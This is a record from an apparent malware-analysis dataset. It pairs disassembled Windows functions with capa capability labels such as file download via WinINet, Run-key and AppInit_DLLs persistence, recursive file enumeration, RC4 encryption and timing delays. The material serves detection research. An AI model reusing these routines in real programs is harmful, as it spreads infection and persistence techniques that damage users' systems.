joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407036
Capabilities:
Clear file content
Delete file
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x407078
mov eax, dword [ebp + 0x14]
or dword [eax], 1
xor eax, eax
jmp 0x407147
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov edi, dword [ebp + 0x14]
jne 0x407095
push dword [ebp - 4]
or dword [edi], 2
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
push ebx
push 0x80000000
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x10], esi
jne 0x4070c6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [edi], 4
jmp 0x407143
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
lea eax, [ebp - 8]
push eax
mov edi, 0x800
push edi
lea eax, [ebp - 0x818]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x407119
cmp dword [ebp - 8], ebx
je 0x407123
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 0x10]
call esi
cmp eax, 1
mov dword [ebp - 0xc], eax
je 0x4070ed
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
inc eax
cmp dword [ebp - 0xc], eax
je 0x407145
mov eax, dword [ebp + 0x14]
or dword [eax], 4
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x408248
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40ec40
call fcn.0040821c
test al, al
pop ecx
pop ecx
je 0x4083bf
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4083bf
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x4082b7
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4083b6
cmp word [ebp - 0x230], 0x2e
jne 0x4082e5
cmp word [ebp - 0x22e], si
je 0x40839e
cmp word [ebp - 0x22e], 0x2e
jne 0x4082e5
cmp word [ebp - 0x22c], si
je 0x40839e
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x4082f6
test byte [ebp + 0x14], 2
jne 0x408300
cmp eax, esi
jne 0x408344
test byte [ebp + 0x14], 4
je 0x408344
cmp dword [ebp + 0x10], 0
jbe 0x408344
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x408322
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x408306
jmp 0x408344
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x4083b6
cmp dword [ebp + 0x28], 0
je 0x408344
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x40839e
test byte [ebp + 0x14], 1
je 0x40839e
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.0040821c
test al, al
pop ecx
pop ecx
je 0x40839e
cmp dword [ebp + 0x24], 0
je 0x408379
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.00408248
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40829b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4083c4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x408458
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40844f
cmp dword [ebp - 8], edi
jne 0x40844f
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x40840e
mov dword [esi], edi
mov al, 1
jmp 0x40845a
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40844f
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408441
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x40840a
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x40848f
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4084cc
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.0040845d
add esp, 0x10
mov ebx, eax
jmp 0x4084cf
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x408545
test bl, 1
jne 0x408545
cmp dword [ebp - 4], 1
je 0x4084e5
cmp dword [ebp - 4], 2
jne 0x408545
xor ecx, ecx
cmp ebx, ecx
jne 0x4084f0
mov word [edi], cx
jmp 0x408541
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x408507
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x408545
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x408541
cmp dword [ebp - 4], 2
jne 0x408541
push edi
call fcn.0040bfd0
mov esi, eax
test esi, esi
pop ecx
je 0x40852e
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x408531
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x408548
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x408604
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40864a
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.004069c0
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408658
xor eax, eax
jmp 0x40868d
lea eax, [ebp - 0x804]
push eax
call fcn.00405451
cmp eax, 4
pop ecx
jbe 0x408682
push 1
push 0x40ea48
push str.AppInit_DLLs
push ebx
push edi
call fcn.004069fd
add esp, 0x14
jmp 0x40868d
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409df4
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d5b0
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405511
lea eax, [ebp - 0x210]
push eax
call fcn.00405451
xor ebx, ebx
push 0x423ec8
mov word [ebp + eax*2 - 0x212], bx
call fcn.00405451
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040beea
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409e8e
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409e7a
dec edx
je 0x409e72
dec edx
jne 0x409e80
add ecx, 0xfffe
jmp 0x409e80
add ecx, 0xfffb
jmp 0x409e80
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409e4b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409eb1
xor eax, eax
jmp 0x409f26
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a0
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409ead
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040be3a
cmp edi, ebx
pop ecx
je 0x409ead
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409f24
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bf35
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409f2b
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f750
call fcn.0040d258
and dword [ebp - 4], 0
call fcn.0040584d
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x409fa7
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x409f88
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409f67
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409f5f
or dword [ebp - 4], 0xffffffff
call fcn.0040d293
ret
Function at 0x409fb1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f740
call fcn.0040d258
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a030
cmp word [ebp - 0x1c], 0xffff
jne 0x40a030
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a04b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a011
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409ff2
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427ed0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a04b
jmp 0x409fd3
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a051
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d293
ret

Function at 0x40a156
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4110a4], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a176
call fcn.0040a0b5
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a188
mov esi, ebx
call fcn.0040a057
test eax, eax
mov dword [ebp - 8], eax
je 0x40a23d
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a224
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a1e8
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415278]
mov eax, 0x1388
push dword [0x41fdb0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a469
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a48b
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x427ed8]
mov dword [ebp - 4], edi
jmp 0x40a490
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x427edc], edi
je 0x40a4f3
cmp edi, ebx
jne 0x40a4d7
cmp dword [0x427ecc], ebx
jne 0x40a4f7
mov eax, dword [esi + 0x427ed0]
test eax, eax
je 0x40a4f7
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a4ef
and dword [esi + 0x427ed0], 0
and dword [esi + 0x427edc], 0xfffffffe
cmp edi, 2
jne 0x40a4f3
xor eax, eax
cmp dword [esi + 0x427ed4], eax
jne 0x40a4ef
and dword [esi + 0x427edc], 0xfffffffd
jmp 0x40a530
mov eax, ebx
jmp 0x40a564
cmp edi, ebx
jne 0x40a529
lea edi, [esi + 0x427ed0]
mov eax, edi
call fcn.0040a156
cmp dword [0x427ecc], ebx
mov dword [ebp - 8], eax
jne 0x40a523
test eax, eax
je 0x40a523
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x427edc], ebx
jmp 0x40a561
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40a561
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x427ed4], eax
je 0x40a561
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x427edc], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ac60
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
test eax, eax
pop ecx
pop ecx
jne 0x40ac8e
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ac7c
xor eax, eax
jmp 0x40ac8e
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406530
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 8], ecx
xor eax, eax
mov esi, eax
mov ecx, eax
shr esi, 1
mov edx, esi
xor edx, 0xedb88320
and cl, 1
cmove edx, esi
mov ecx, edx
shr ecx, 1
mov ebx, ecx
xor ebx, 0xedb88320
and dl, 1
cmove ebx, ecx
mov ecx, ebx
shr ecx, 1
mov edx, ecx
xor edx, 0xedb88320
and bl, 1
cmove edx, ecx
mov ecx, edx
shr ecx, 1
mov ebx, ecx
xor ebx, 0xedb88320
and dl, 1
cmove ebx, ecx
mov ecx, ebx
shr ecx, 1
mov edx, ecx
xor edx, 0xedb88320
and bl, 1
cmove edx, ecx
mov ecx, edx
shr ecx, 1
mov ebx, ecx
xor ebx, 0xedb88320
and dl, 1
cmove ebx, ecx
mov ecx, ebx
shr ecx, 1
mov edx, ecx
xor edx, 0xedb88320
and bl, 1
cmove edx, ecx
mov dword [ebp - 4], edx
mov ebx, edx
shr edx, 1
mov ecx, edx
xor ecx, 0xedb88320
and bl, 1
cmove ecx, edx
mov dword [ebp + eax*4 - 0x408], ecx
inc eax
cmp eax, 0x100
jb 0x406543
xor edx, edx
mov eax, 0xffffffff
test edi, edi
je 0x406618
mov esi, dword [ebp - 8]
nop dword [eax]
movzx ecx, byte [edx + esi]
inc edx
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ebp + ecx*4 - 0x408]
cmp edx, edi
jb 0x406600
pop edi
pop esi
not eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406660
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 4], edx
xor eax, eax
mov dword [ebp - 8], ecx
mov byte [ebp + eax - 0x108], al
inc eax
cmp eax, 0x100
jb 0x406671
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
xor esi, esi
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x108]
mov eax, esi
and eax, 0xf
movzx ecx, dl
movzx eax, byte [eax + ebx]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x108]
mov byte [ebp + esi - 0x108], al
inc esi
mov byte [ebp + edi - 0x108], dl
cmp esi, 0x100
jb 0x406690
xor ebx, ebx
xor edi, edi
xor esi, esi
cmp dword [ebp - 4], ebx
jbe 0x406722
lea eax, [edi + 1]
movzx edi, al
mov dl, byte [ebp + edi - 0x108]
movzx eax, dl
add eax, ebx
movzx ebx, al
movzx eax, byte [ebp + ebx - 0x108]
mov byte [ebp + edi - 0x108], al
mov byte [ebp + ebx - 0x108], dl
movzx ecx, byte [ebp + edi - 0x108]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x108]
xor byte [esi + ecx], al
inc esi
cmp esi, dword [ebp - 4]
jb 0x4066d3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406730
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406759
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea ecx, [ebx + 0xc]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x406788
push esi
call dword [sym.imp.ntdll.dll_NtClose]
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [edi + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4067b5
push esi
call dword [sym.imp.ntdll.dll_NtClose]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
mov dword [edi], ebx
mov dword [edi + 4], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406b80
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [0x4153a0]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406be7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x406be7
push 0
lea eax, [ebp - 8]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406be7
push dword [ebp - 4]
mov edx, edi
mov ecx, ebx
call fcn.004067f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406cc0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push 0xf0000000
push 1
push 0
mov eax, dword [eax + 0xc]
push 0
push 0x4153a8
mov eax, dword [eax + 0x14]
mov eax, dword [eax + 0x20]
mov dword [0x4153a0], eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
neg eax
sbb eax, eax
neg eax
ret

Function at 0x406d00
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa54
lea eax, [esp + 0x654]
push ebx
push esi
push edi
mov ebx, ecx
push ebx
push 0x405e34
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x664]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406db9
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
je 0x406db2
cmp word [esp + 0x3c], 0x2e
je 0x406da6
lea eax, [esp + 0x3c]
push eax
push ebx
lea eax, [esp + 0x268]
push 0x405e40
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
test byte [esp + 0x10], 0x10
je 0x406d8d
lea ecx, [esp + 0x260]
call fcn.00406d00
jmp 0x406da6
lea ecx, [esp + 0x3c]
call fcn.00406520
test eax, eax
je 0x406da6
lea ecx, [esp + 0x260]
call fcn.00406bf0
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x406d54
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406ee0
Capabilities:
Check mutex on windows
Create thread
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x80c
push esi
call fcn.00406cc0
test eax, eax
jne 0x406f00
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp + 0x10]
call fcn.00406b80
push 0x405e50
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x406f2d
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0
push 0
push 0x406de0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x400
lea eax, [esp + 0x14]
push eax
push 0x405ee0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [sym.imp.ntdll.dll_NtDelayExecution]
mov dword [esp + 8], 0x4d2fa200
mov dword [esp + 0xc], 0xffffffff
nop dword [eax]
lea ecx, [esp + 0x10]
call fcn.00406d00
lea eax, [esp + 8]
push eax
push 0
call esi
jmp 0x406f70

Function at 0x40aaa9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40aae8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40aae8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40aae8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40aae8
cmp dword [ecx + 0x74], 0xe
jbe 0x40aae8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret